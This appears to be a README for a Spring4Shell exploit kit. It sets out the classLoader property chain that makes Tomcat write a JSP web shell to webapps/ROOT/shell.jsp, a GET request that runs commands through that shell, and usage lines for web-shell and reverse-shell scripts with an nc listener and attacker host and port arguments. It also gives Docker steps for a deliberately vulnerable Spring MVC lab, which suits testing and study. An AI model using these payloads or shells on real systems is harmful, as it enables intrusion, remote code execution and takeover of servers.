class.module.classLoader.resources.context.parent.pipeline.first.<property>

1. POST /vulnerable
   class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
   class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
   class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
   class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
   class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload

3. GET /shell.jsp?cmd=id  →  RCE

.
├── exploits/
│   ├── exploit1.py   # POST-based web shell with password protection
│   ├── exploit2.py   # POST-based web shell with reset capability
│   ├── exploit3.py   # GET-based variant (simplified)
│   ├── exploit4.py   # Reverse TCP shell (GET-based)
│   └── exploit4b.py  # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
    ├── Dockerfile    # Uses pre-built tomcat:9.0.60 image
    ├── Dockerfile2   # Builds from openjdk:11 + downloads Tomcat
    ├── pom.xml       # Maven project — Spring MVC 5.3.17 (vulnerable)
    └── src/          # Vulnerable Spring MVC application source

# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable

# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444

cd springmvc5-helloworld-example
mvn clean package

# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell

# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell